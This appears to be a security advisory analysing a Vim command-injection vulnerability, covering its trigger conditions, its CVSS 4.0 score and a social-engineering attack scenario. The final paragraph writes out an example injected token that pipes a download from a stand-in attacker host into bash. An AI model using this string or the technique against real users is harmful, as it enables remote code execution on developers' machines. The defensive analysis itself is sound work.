Vim EUVD-2026-56233

Three specific conditions must all be met: (1) the victim must be running Vim prior to 9.2.0839, (2) the victim must have opened a file whose filetype Vim resolves to 'sh', 'zsh', or 'ps1' - activating the corresponding filetype plugin - meaning the file must carry a recognized extension (.sh, .bash, .zsh, .ps1) or have modeline/shebang detection enabled, and (3) the victim must perform a Visual-mode selection that includes shell metacharacters and then press K (or invoke :ShKeywordPrg/:ZshKeywordPrg/:GetHelp directly). The CVSS UI:A metric confirms user interaction is mandatory; there is no passive or background trigger. Exploitation is further limited to the privileges of the user running Vim (no privilege escalation component, SC:N/SI:N/SA:N). The attack does not require network access to the victim's machine - delivery of the malicious file is the access primitive, after which local execution is triggered by the user's own keypress.

The CVSS 4.0 vector AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N scores 8.4 and is internally consistent: local attack vector (attacker delivers a malicious file rather than connecting over a network), no special attack conditions, no privileges required on the attacker's side, but user interaction is mandatory - the victim must open the file and manually invoke K on a crafted selection. EPSS data was not provided. No active exploitation is confirmed (not in CISA KEV) and no public proof-of-concept has been identified, which meaningfully reduces near-term operational risk. Despite the high impact metrics (C:H/I:H/A:H reflecting full command execution), the user-interaction gate and local delivery model limit opportunistic mass exploitation. The realistic threat model is a targeted social engineering attack: an attacker delivers a malicious .sh, .zsh, or .ps1 file and entices the developer to look up help on suspicious-looking syntax. The missing EPSS score prevents probabilistic comparison, but the absence of KEV and POC, combined with the UI:A requirement, places this below network-exploitable, authentication-free vulnerabilities of equivalent CVSS score for most prioritization frameworks.

An attacker crafts a .sh or .zsh file containing a function or variable name embedding shell metacharacters - for example, a string like 'foo; curl http://attacker.example/payload | bash; echo bar'. The attacker delivers this file to a developer (via email attachment, repository clone, or shared script), who opens it in an unpatched Vim. When the developer visually selects the crafted token and presses K to invoke inline shell help, Vim's ShKeywordPrg or ZshKeywordPrg command interpolates the raw selection into a bash or zsh command string, causing the injected commands to execute with the developer's OS privileges. No public proof-of-concept exploit code has been identified at time of analysis.